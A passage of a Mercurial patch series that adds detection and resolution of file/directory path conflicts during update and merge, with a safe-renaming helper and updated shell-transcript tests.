+    then it conflicts.  If the file itself is a directory that contains any
+    file that is not tracked, then it conflicts.
+
+    Returns the shortest path at which a conflict occurs, or None if there is
+    no conflict.
+    """
+
+    # Check for path prefixes that exist as unknown files.
+    for p in reversed(list(util.finddirs(f))):
+        if (repo.wvfs.audit.check(p)
+                and repo.wvfs.isfileorlink(p)
+                and repo.dirstate.normalize(p) not in repo.dirstate):
+            return p
+
+    # Check if the file conflicts with a directory containing unknown files.
+    if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
+        # Does the directory contain any files that are not in the dirstate?
+        for p, dirs, files in repo.wvfs.walk(f):
+            for fn in files:
+                relf = repo.dirstate.normalize(repo.wvfs.reljoin(p, fn))
+                if relf not in repo.dirstate:
+                    return f
+    return None
+
 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
     """
     Considers any actions that care about the presence of conflicting unknown
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 1609a5afc4f52e840da6f693773d608ae5fc78f0
# Parent  53e4bcab346bc9ff55797b36c755912f060c9e38
merge: rename conflicts to fileconflicts in _checkunknownfiles

We will need to distinguish between file conflicts and path conflicts.  Rename
the conflicts variable so that it will be clearly distinct from pathconflicts,
which will be introduced in a future commit.

Differential Revision: https://phab.mercurial-scm.org/D780

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -675,7 +675,7 @@
     files. For some actions, the result is to abort; for others, it is to
     choose a different action.
     """
-    conflicts = set()
+    fileconflicts = set()
     warnconflicts = set()
     abortconflicts = set()
     unknownconfig = _getcheckunknownconfig(repo, 'merge', 'checkunknown')
@@ -690,14 +690,15 @@
         for f, (m, args, msg) in actions.iteritems():
             if m in ('c', 'dc'):
                 if _checkunknownfile(repo, wctx, mctx, f):
-                    conflicts.add(f)
+                    fileconflicts.add(f)
             elif m == 'dg':
                 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
-                    conflicts.add(f)
+                    fileconflicts.add(f)
 
-        ignoredconflicts = set([c for c in conflicts
+        allconflicts = fileconflicts
+        ignoredconflicts = set([c for c in allconflicts
                                 if repo.dirstate._ignore(c)])
-        unknownconflicts = conflicts - ignoredconflicts
+        unknownconflicts = allconflicts - ignoredconflicts
         collectconflicts(ignoredconflicts, ignoredconfig)
         collectconflicts(unknownconflicts, unknownconfig)
     else:
@@ -744,7 +745,7 @@
         repo.ui.warn(_("%s: replacing untracked file\n") % f)
 
     for f, (m, args, msg) in actions.iteritems():
-        backup = f in conflicts
+        backup = f in fileconflicts
         if m == 'c':
             flags, = args
             actions[f] = ('g', (flags, backup), msg)
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 33c8a68371810f06ebcee3d84efcc7520f37f7b1
# Parent  1609a5afc4f52e840da6f693773d608ae5fc78f0
merge: check for path conflicts when updating (issue5628)

When updating to a new revision, check for path conflicts caused by unknown
files in the working directory, and handle these by backing up the file or
directory and replacing it.

Differential Revision: https://phab.mercurial-scm.org/D781

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -676,6 +676,7 @@
     choose a different action.
     """
     fileconflicts = set()
+    pathconflicts = set()
     warnconflicts = set()
     abortconflicts = set()
     unknownconfig = _getcheckunknownconfig(repo, 'merge', 'checkunknown')
@@ -691,11 +692,15 @@
             if m in ('c', 'dc'):
                 if _checkunknownfile(repo, wctx, mctx, f):
                     fileconflicts.add(f)
+                elif f not in wctx:
+                    path = _checkunknowndirs(repo, f)
+                    if path is not None:
+                        pathconflicts.add(path)
             elif m == 'dg':
                 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
                     fileconflicts.add(f)
 
-        allconflicts = fileconflicts
+        allconflicts = fileconflicts | pathconflicts
         ignoredconflicts = set([c for c in allconflicts
                                 if repo.dirstate._ignore(c)])
         unknownconflicts = allconflicts - ignoredconflicts
@@ -745,8 +750,9 @@
         repo.ui.warn(_("%s: replacing untracked file\n") % f)
 
     for f, (m, args, msg) in actions.iteritems():
-        backup = f in fileconflicts
         if m == 'c':
+            backup = (f in fileconflicts or f in pathconflicts or
+                      any(p in pathconflicts for p in util.finddirs(f)))
             flags, = args
             actions[f] = ('g', (flags, backup), msg)
 
diff --git a/tests/test-merge1.t b/tests/test-merge1.t
--- a/tests/test-merge1.t
+++ b/tests/test-merge1.t
@@ -30,17 +30,17 @@
 
   $ mkdir b && touch b/nonempty
   $ hg up
-  abort: *: '$TESTTMP/t/b' (glob)
+  b: untracked file differs
+  abort: untracked files in working directory differ from files in requested revision
   [255]
   $ hg ci
-  abort: last update was interrupted
-  (use 'hg update' to get a consistent checkout)
-  [255]
+  nothing changed
+  [1]
   $ hg sum
   parent: 0:538afb845929 
    commit #0
   branch: default
-  commit: 1 unknown (interrupted update)
+  commit: 1 unknown (clean)
   update: 1 new changesets (update)
   phases: 2 draft
   $ rm b/nonempty
diff --git a/tests/test-pathconflicts-basic.t b/tests/test-pathconflicts-basic.t
--- a/tests/test-pathconflicts-basic.t
+++ b/tests/test-pathconflicts-basic.t
@@ -37,7 +37,8 @@
   $ mkdir a
   $ echo 3 > a/b
   $ hg up file
-  abort: *: '$TESTTMP/repo/a' (glob)
+  a: untracked file differs
+  abort: untracked files in working directory differ from files in requested revision
   [255]
   $ hg up --clean file
   abort: *: '$TESTTMP/repo/a' (glob)
@@ -53,13 +54,9 @@
   $ hg up -q 0
   $ echo untracked > a
   $ hg up --config merge.checkunknown=warn dir
-  abort: *: '$TESTTMP/repo/a/b' (glob)
-  [255]
-
-Repo is in a very bad state now - recover manually
-
-  $ rm -f a
-  $ hg up -q --clean 0
+  a: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark dir)
 
 Basic clean update - local directory conflicts with changed remote file
 
diff --git a/tests/test-update-names.t b/tests/test-update-names.t
--- a/tests/test-update-names.t
+++ b/tests/test-update-names.t
@@ -50,7 +50,8 @@
   $ hg st
   ? name/file
   $ hg up 1
-  abort: *: '$TESTTMP/r1/r2/name' (glob)
+  name: untracked file differs
+  abort: untracked files in working directory differ from files in requested revision
   [255]
   $ cd ..
 
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 0217d66846f7226b320d7b8ba4edf2bf903037b2
# Parent  33c8a68371810f06ebcee3d84efcc7520f37f7b1
merge: improve error messages for path conflicts during update

Differential Revision: https://phab.mercurial-scm.org/D782

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -741,13 +741,23 @@
                     actions[f] = ('g', (fl2, True), "remote created")
 
     for f in sorted(abortconflicts):
-        repo.ui.warn(_("%s: untracked file differs\n") % f)
+        warn = repo.ui.warn
+        if f in pathconflicts:
+            if repo.wvfs.isfileorlink(f):
+                warn(_("%s: untracked file conflicts with directory\n") % f)
+            else:
+                warn(_("%s: untracked directory conflicts with file\n") % f)
+        else:
+            warn(_("%s: untracked file differs\n") % f)
     if abortconflicts:
         raise error.Abort(_("untracked files in working directory "
                             "differ from files in requested revision"))
 
     for f in sorted(warnconflicts):
-        repo.ui.warn(_("%s: replacing untracked file\n") % f)
+        if repo.wvfs.isfileorlink(f):
+            repo.ui.warn(_("%s: replacing untracked file\n") % f)
+        else:
+            repo.ui.warn(_("%s: replacing untracked files in directory\n") % f)
 
     for f, (m, args, msg) in actions.iteritems():
         if m == 'c':
diff --git a/tests/test-merge1.t b/tests/test-merge1.t
--- a/tests/test-merge1.t
+++ b/tests/test-merge1.t
@@ -30,7 +30,7 @@
 
   $ mkdir b && touch b/nonempty
   $ hg up
-  b: untracked file differs
+  b: untracked directory conflicts with file
   abort: untracked files in working directory differ from files in requested revision
   [255]
   $ hg ci
diff --git a/tests/test-pathconflicts-basic.t b/tests/test-pathconflicts-basic.t
--- a/tests/test-pathconflicts-basic.t
+++ b/tests/test-pathconflicts-basic.t
@@ -37,7 +37,7 @@
   $ mkdir a
   $ echo 3 > a/b
   $ hg up file
-  a: untracked file differs
+  a: untracked directory conflicts with file
   abort: untracked files in working directory differ from files in requested revision
   [255]
   $ hg up --clean file
diff --git a/tests/test-update-names.t b/tests/test-update-names.t
--- a/tests/test-update-names.t
+++ b/tests/test-update-names.t
@@ -50,7 +50,7 @@
   $ hg st
   ? name/file
   $ hg up 1
-  name: untracked file differs
+  name: untracked directory conflicts with file
   abort: untracked files in working directory differ from files in requested revision
   [255]
   $ cd ..
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 6f11a74d489fb83b0c0882851e7100621c7b4b6e
# Parent  0217d66846f7226b320d7b8ba4edf2bf903037b2
util: add safename function for generating safe names to rename to

This function finds a name which does not clash with any other name in the
manifest, and so can be used to safely rename a file.

Differential Revision: https://phab.mercurial-scm.org/D783

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -26,6 +26,7 @@
 import gc
 import hashlib
 import imp
+import itertools
 import mmap
 import os
 import platform as pyplatform
@@ -3835,3 +3836,26 @@
 
 # convenient shortcut
 dst = debugstacktrace
+
+def safename(f, tag, ctx, others=None):
+    """
+    Generate a name that it is safe to rename f to in the given context.
+
+    f:      filename to rename
+    tag:    a string tag that will be included in the new name
+    ctx:    a context, in which the new name must not exist
+    others: a set of other filenames that the new name must not be in
+
+    Returns a file name of the form oldname~tag[~number] which does not exist
+    in the provided context and is not in the set of other names.
+    """
+    if others is None:
+        others = set()
+
+    fn = '%s~%s' % (f, tag)
+    if fn not in ctx and fn not in others:
+        return fn
+    for n in itertools.count(1):
+        fn = '%s~%s~%s' % (f, tag, n)
+        if fn not in ctx and fn not in others:
+            return fn
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 989e884d1be979a18bf675d37d25a260b4e34552
# Parent  6f11a74d489fb83b0c0882851e7100621c7b4b6e
merge: check for path conflicts when merging (issue5628)

When merging, check for any path conflicts introduced by the manifest
merge and rename the conflicting file to a safe name.

Differential Revision: https://phab.mercurial-scm.org/D784

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -851,6 +851,107 @@
     This is currently not implemented -- it's an extension point."""
     return True
 
+def _filesindirs(repo, manifest, dirs):
+    """
+    Generator that yields pairs of all the files in the manifest that are found
+    inside the directories listed in dirs, and which directory they are found
+    in.
+    """
+    for f in manifest:
+        for p in util.finddirs(f):
+            if p in dirs:
+                yield f, p
+                break
+
+def checkpathconflicts(repo, wctx, mctx, actions):
+    """
+    Check if any actions introduce path conflicts in the repository, updating
+    actions to record or handle the path conflict accordingly.
+    """
+    mf = wctx.manifest()
+
+    # The set of local files that conflict with a remote directory.
+    localconflicts = set()
+
+    # The set of directories that conflict with a remote file, and so may cause
+    # conflicts if they still contain any files after the merge.
+    remoteconflicts = set()
+
+    # The set of directories that appear as both a file and a directory in the
+    # remote manifest.  These indicate an invalid remote manifest, which
+    # can't be updated to cleanly.
+    invalidconflicts = set()
+
+    # The set of files deleted by all the actions.
+    deletedfiles = set()
+
+    for f, (m, args, msg) in actions.items():
+        if m in ('c', 'dc', 'm', 'cm'):
+            # This action may create a new local file.
+            if mf.hasdir(f):
+                # The file aliases a local directory.  This might be ok if all
+                # the files in the local directory are being deleted.  This
+                # will be checked once we know what all the deleted files are.
+                remoteconflicts.add(f)
+            for p in util.finddirs(f):
+                if p in mf:
+                    if p in mctx:
+                        # The file is in a directory which aliases both a local
+                        # and a remote file.  This is an internal inconsistency
+                        # within the remote manifest.
+                        invalidconflicts.add(p)
+                    else:
+                        # The file is in a directory which aliases a local file.
+                        # We will need to rename the local file.
+                        localconflicts.add(p)
+                if p in actions and actions[p][0] in ('c', 'dc', 'm', 'cm'):
+                    # The file is in a directory which aliases a remote file.
+                    # This is an internal inconsistency within the remote
+                    # manifest.
+                    invalidconflicts.add(p)
+
+        # Track the names of all deleted files.
+        if m == 'r':
+            deletedfiles.add(f)
+        if m == 'm':
+            f1, f2, fa, move, anc = args
+            if move:
+                deletedfiles.add(f1)
+        if m == 'dm':
+            f2, flags = args
+            deletedfiles.add(f2)
+
+    # Rename all local conflicting files that have not been deleted.
+    for p in localconflicts:
+        if p not in deletedfiles:
+            ctxname = str(wctx).rstrip('+')
+            pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
+            actions[pnew] = ('pr', (p,), "local path conflict")
+            actions[p] = ('p', (pnew, 'l'), "path conflict")
+
+    if remoteconflicts:
+        # Check if all files in the conflicting directories have been removed.
+        ctxname = str(mctx).rstrip('+')
+        for f, p in _filesindirs(repo, mf, remoteconflicts):
+            if f not in deletedfiles:
+                m, args, msg = actions[p]
+                pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
+                if m in ('dc', 'm'):
+                    # Action was merge, just update target.
+                    actions[pnew] = (m, args, msg)
+                else:
+                    # Action was create, change to renamed get action.
+                    fl = args[0]
+                    actions[pnew] = ('dg', (p, fl), "remote path conflict")
+                actions[p] = ('p', (pnew, 'r'), "path conflict")
+                remoteconflicts.remove(p)
+                break
+
+    if invalidconflicts:
+        for p in invalidconflicts:
+            repo.ui.warn(_("%s: is both a file and a directory\n") % p)
+        raise error.Abort(_("destination manifest contains path conflicts"))
+
 def manifestmerge(repo, wctx, p2, pa, branchmerge, force, matcher,
                   acceptremote, followcopies, forcefulldiff=False):
     """
@@ -1026,6 +1127,9 @@
                     actions[f] = ('dc', (None, f, f, False, pa.node()),
                                   "prompt deleted/changed")
 
+    # If we are merging, look for path conflicts.
+    checkpathconflicts(repo, wctx, p2, actions)
+
     return actions, diverge, renamedelete
 
 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -103,7 +103,8 @@
   back/test
 #if symlink
   $ hg update -Cr2
-  abort: path 'back/test' traverses symbolic link 'back'
+  back: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
 #else
 ('back' will be a file and cause some other system specific error)
@@ -160,8 +161,12 @@
 
   $ hg up -qC 1
   $ hg merge 2
-  abort: path 'a/poisoned' traverses symbolic link 'a'
-  [255]
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~aa04623eb0c3
+  resolve manually then use 'hg resolve --mark a'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
 
 try rebase onto other revision: cache of audited paths should be discarded,
 and the rebase should fail (issue5628)
@@ -169,8 +174,11 @@
   $ hg up -qC 2
   $ hg rebase -s 2 -d 1 --config extensions.rebase=
   rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
-  abort: path 'a/poisoned' traverses symbolic link 'a'
-  [255]
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~aa04623eb0c3
+  resolve manually then use 'hg resolve --mark a'
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
   $ ls ../merge-symlink-out
 
   $ cd ..
@@ -202,7 +210,8 @@
 
   $ hg up -qC 0
   $ hg up 1
-  abort: path 'a/b' traverses symbolic link 'a'
+  a: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
 
 try linear update including symlinked directory and its content: paths are
@@ -211,7 +220,8 @@
 
   $ hg up -qC null
   $ hg up 1
-  abort: path 'a/b' traverses symbolic link 'a'
+  a: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
   $ ls ../update-symlink-out
 
@@ -222,7 +232,8 @@
   $ rm -f a
   $ hg up -qC 2
   $ hg up 1
-  abort: path 'a/b' traverses symbolic link 'a'
+  a: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
   $ ls ../update-symlink-out
 
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -966,8 +966,12 @@
   *** runcommand up -qC 2
   *** runcommand up -qC 1
   *** runcommand merge 2
-  abort: path 'a/poisoned' traverses symbolic link 'a'
-   [255]
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~aa04623eb0c3
+  resolve manually then use 'hg resolve --mark a'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+   [1]
   $ ls ../merge-symlink-out
 
 cache of repo.auditor should be discarded, so matcher would never traverse
diff --git a/tests/test-pathconflicts-basic.t b/tests/test-pathconflicts-basic.t
--- a/tests/test-pathconflicts-basic.t
+++ b/tests/test-pathconflicts-basic.t
@@ -25,11 +25,16 @@
   $ hg bookmark -i
   $ hg merge --verbose dir
   resolving manifests
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~853701544ac3
+  resolve manually then use 'hg resolve --mark a'
+  moving a to a~853701544ac3
   getting a/b
-  abort: *: '$TESTTMP/repo/a/b' (glob)
-  [255]
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
   $ hg update --clean .
-  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
 
 Basic update - local directory conflicts with remote file
 
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 7a8a16f8ea22dd629f371f0d8bad8892c035f631
# Parent  989e884d1be979a18bf675d37d25a260b4e34552
context: also consider path conflicts when clearing unknown files

When clearing unknown files to remove path conflicts, also delete files that
conflict with the target file's path.

Differential Revision: https://phab.mercurial-scm.org/D785

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1933,8 +1933,13 @@
         ``write()`` can be called successfully.
         """
         wvfs = self._repo.wvfs
-        if wvfs.isdir(self._path) and not wvfs.islink(self._path):
-            wvfs.removedirs(self._path)
+        f = self._path
+        if wvfs.isdir(f) and not wvfs.islink(f):
+            wvfs.rmtree(f, forcibly=True)
+        for p in reversed(list(util.finddirs(f))):
+            if wvfs.isfileorlink(p):
+                wvfs.unlink(p)
+                break
 
     def setflags(self, l, x):
         self._repo.wvfs.setflags(self._path, l, x)
diff --git a/tests/test-pathconflicts-basic.t b/tests/test-pathconflicts-basic.t
--- a/tests/test-pathconflicts-basic.t
+++ b/tests/test-pathconflicts-basic.t
@@ -35,6 +35,7 @@
   [1]
   $ hg update --clean .
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ rm a~853701544ac3
 
 Basic update - local directory conflicts with remote file
 
@@ -46,13 +47,19 @@
   abort: untracked files in working directory differ from files in requested revision
   [255]
   $ hg up --clean file
-  abort: *: '$TESTTMP/repo/a' (glob)
-  [255]
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file)
+
+Repo state is ok
 
-Repo is in a very bad state now - recover manually
-
-  $ rm -r a
-  $ hg up -q --clean 0
+  $ hg sum
+  parent: 1:853701544ac3 
+   file
+  branch: default
+  bookmarks: *file
+  commit: (clean)
+  update: 2 new changesets (update)
+  phases: 4 draft
 
 Basic update - untracked file conflicts with remote directory
 
@@ -62,6 +69,9 @@
   a: replacing untracked file
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark dir)
+  $ cat a.orig
+  untracked
+  $ rm -f a.orig
 
 Basic clean update - local directory conflicts with changed remote file
 
@@ -73,11 +83,17 @@
   abort: *: '$TESTTMP/repo/a' (glob)
   [255]
   $ hg up --clean file2
-  abort: *: '$TESTTMP/repo/a' (glob)
-  [255]
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file2)
+
+Repo state is ok
 
-Repo is in a very bad state now - recover manually
+  $ hg sum
+  parent: 2:f64e09fac717 
+   file2
+  branch: default
+  bookmarks: *file2
+  commit: (clean)
+  update: 1 new changesets, 2 branch heads (merge)
+  phases: 4 draft
 
-  $ rm -r a
-  $ hg up -q --clean 0
-
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 3b9428f4403d2418c362c9873bded88ab94c9f07
# Parent  7a8a16f8ea22dd629f371f0d8bad8892c035f631
tests: add test for path conflicts during update

Differential Revision: https://phab.mercurial-scm.org/D786

diff --git a/tests/test-pathconflicts-update.t b/tests/test-pathconflicts-update.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pathconflicts-update.t
@@ -0,0 +1,141 @@
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+  $ hg bookmark -i base
+  $ mkdir a
+  $ echo 1 > a/b
+  $ hg add a/b
+  $ hg commit -m "file"
+  $ hg bookmark -i file
+  $ echo 2 > a/b
+  $ hg commit -m "file2"
+  $ hg bookmark -i file2
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir a
+  $ ln -s c a/b
+  $ hg add a/b
+  $ hg commit -m "link"
+  created new head
+  $ hg bookmark -i link
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir -p a/b/c
+  $ echo 2 > a/b/c/d
+  $ hg add a/b/c/d
+  $ hg commit -m "dir"
+  created new head
+  $ hg bookmark -i dir
+
+Update - local file conflicts with remote directory:
+
+  $ hg up -q 0
+  $ mkdir a
+  $ echo 9 > a/b
+  $ hg up dir
+  a/b: untracked file conflicts with directory
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up dir --config merge.checkunknown=warn
+  a/b: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark dir)
+  $ cat a/b.orig
+  9
+  $ rm a/b.orig
+
+Update - local symlink conflicts with remote directory:
+
+  $ hg up -q 0
+  $ mkdir a
+  $ ln -s x a/b
+  $ hg up dir
+  a/b: untracked file conflicts with directory
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up dir --config merge.checkunknown=warn
+  a/b: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark dir)
+  $ readlink a/b.orig
+  x
+  $ rm a/b.orig
+
+Update - local directory conflicts with remote file
+
+  $ hg up -q 0
+  $ mkdir -p a/b/c
+  $ echo 9 > a/b/c/d
+  $ hg up file
+  a/b: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up file --config merge.checkunknown=warn
+  a/b: replacing untracked files in directory
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file)
+  $ cat a/b
+  1
+  $ test -d a/b.orig
+  $ rm -rf a/b.orig
+
+Update - local directory conflicts with remote symlink
+
+  $ hg up -q 0
+  $ mkdir -p a/b/c
+  $ echo 9 > a/b/c/d
+  $ hg up link
+  a/b: untracked directory conflicts with file
+  abort: untracked files in working directory differ from files in requested revision
+  [255]
+  $ hg up link --config merge.checkunknown=warn
+  a/b: replacing untracked files in directory
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark link)
+  $ readlink a/b
+  c
+  $ test -d a/b.orig
+  $ rm -rf a/b.orig
+
+Update - local renamed file conflicts with remote directory
+
+  $ hg up -q 0
+  $ hg mv base a
+  $ hg status -C
+  A a
+    base
+  R base
+  $ hg up --check dir
+  abort: uncommitted changes
+  [255]
+  $ hg up dir
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~d20a80d4def3
+  resolve manually then use 'hg resolve --mark a'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges
+  (activating bookmark dir)
+  [1]
+  $ hg status -C
+  A a~d20a80d4def3
+    base
+  R base
+  $ hg resolve --list
+  P a
+  $ hg up --clean -q 0
+
+Update clean - local directory conflicts with changed remote file
+
+  $ hg up -q file
+  $ rm a/b
+  $ mkdir a/b
+  $ echo 9 > a/b/c
+  $ hg up file2 --check --config merge.checkunknown=warn
+  abort: uncommitted changes
+  [255]
+  $ hg up file2 --clean
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark file2)
+
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID f71c712ebdec32f115ab09dbe6339fd38e69c723
# Parent  3b9428f4403d2418c362c9873bded88ab94c9f07
tests: add test for path conflicts during merge

Differential Revision: https://phab.mercurial-scm.org/D787

diff --git a/tests/test-pathconflicts-merge.t b/tests/test-pathconflicts-merge.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pathconflicts-merge.t
@@ -0,0 +1,128 @@
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+  $ hg bookmark -i base
+  $ mkdir a
+  $ echo 1 > a/b
+  $ hg add a/b
+  $ hg commit -m "file"
+  $ hg bookmark -i file
+  $ echo 2 > a/b
+  $ hg commit -m "file2"
+  $ hg bookmark -i file2
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir a
+  $ ln -s c a/b
+  $ hg add a/b
+  $ hg commit -m "link"
+  created new head
+  $ hg bookmark -i link
+  $ hg up 0
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkdir -p a/b/c
+  $ echo 2 > a/b/c/d
+  $ hg add a/b/c/d
+  $ hg commit -m "dir"
+  created new head
+  $ hg bookmark -i dir
+
+Merge - local file conflicts with remote directory
+
+  $ hg up file
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  (activating bookmark file)
+  $ hg bookmark -i
+  $ hg merge --verbose dir
+  resolving manifests
+  a/b: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a/b~0ed027b96f31
+  resolve manually then use 'hg resolve --mark a/b'
+  moving a/b to a/b~0ed027b96f31 (glob)
+  getting a/b/c/d
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg status
+  M a/b/c/d
+  A a/b~0ed027b96f31
+  R a/b
+  $ hg resolve --all
+  a/b: path conflict must be resolved manually
+  $ hg forget a/b~0ed027b96f31 && rm a/b~0ed027b96f31
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg commit -m "merge file and dir (deleted file)"
+
+Merge - local symlink conflicts with remote directory
+
+  $ hg up link
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  (activating bookmark link)
+  $ hg bookmark -i
+  $ hg merge dir
+  a/b: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a/b~2ea68033e3be
+  resolve manually then use 'hg resolve --mark a/b'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg status
+  M a/b/c/d
+  A a/b~2ea68033e3be
+  R a/b
+  $ hg resolve --list
+  P a/b
+  $ hg resolve --all
+  a/b: path conflict must be resolved manually
+  $ hg mv a/b~2ea68033e3be a/b.old
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg resolve --list
+  R a/b
+  $ hg commit -m "merge link and dir (renamed link)"
+
+Merge - local directory conflicts with remote file or link
+
+  $ hg up dir
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  (activating bookmark dir)
+  $ hg bookmark -i
+  $ hg merge file
+  a/b: path conflict - a file or link has the same name as a directory
+  the remote file has been renamed to a/b~0ed027b96f31
+  resolve manually then use 'hg resolve --mark a/b'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg status
+  A a/b~0ed027b96f31
+  $ hg resolve --all
+  a/b: path conflict must be resolved manually
+  $ hg mv a/b~0ed027b96f31 a/b/old-b
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg commit -m "merge dir and file (move file into dir)"
+  created new head
+  $ hg merge file2
+  merging a/b/old-b and a/b to a/b/old-b
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ cat a/b/old-b
+  2
+  $ hg commit -m "merge file2 (copytrace tracked rename)"
+  $ hg merge link
+  a/b: path conflict - a file or link has the same name as a directory
+  the remote file has been renamed to a/b~2ea68033e3be
+  resolve manually then use 'hg resolve --mark a/b'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
+  $ hg mv a/b~2ea68033e3be a/b.old
+  $ readlink a/b.old
+  c
+  $ hg resolve --mark a/b
+  (no more unresolved files)
+  $ hg commit -m "merge link (rename link)"
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID eddeedbde866ab49f5344e5238865dce46c0ed47
# Parent  f71c712ebdec32f115ab09dbe6339fd38e69c723
commands: tidy up merge state decoding in resolve

Make the mapping from merge state to label and display key explicit, and move
construction of the dict out of the loop.

Differential Revision: https://phab.mercurial-scm.org/D861

diff --git a/mercurial/commands.py b/mercurial/commands.py
